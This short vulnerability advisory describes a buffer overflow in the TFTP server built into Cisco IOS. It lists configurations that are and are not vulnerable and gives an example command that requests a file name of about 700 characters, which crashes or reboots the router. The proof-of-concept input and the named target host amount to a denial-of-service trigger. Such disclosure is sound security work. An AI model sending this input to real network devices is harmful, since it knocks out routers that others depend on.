[ Overview ]
Cisco Systems Routers are the most widely used routers.
Cisco Routers are embedded network devices that run a dedicated
Operating System, the Cisco IOS.
[ Description ]
The Cisco IOS integrated TFTP server suffers from a buffer overflow
condition.
When requesting a file name with approximately 700 characters, the device
crashes and may reboot. This only happens, if the served file is on a
flash device and no alias is assigned to it.
Vulnerable:
router# conf t
router# tftp-server flash:ios_11.3_a-b-c-d.bin
Not vulnerable:
router# conf t
router# tftp-server flash:ios_11.3_a-b-c-d.bin alias TheStuff
[ Example ]
OpenBSD# tftp cisco53.navy.smil.mil
tftp> get AAAAAAAAA....(700 times)
[ Solution ]
None available at this time
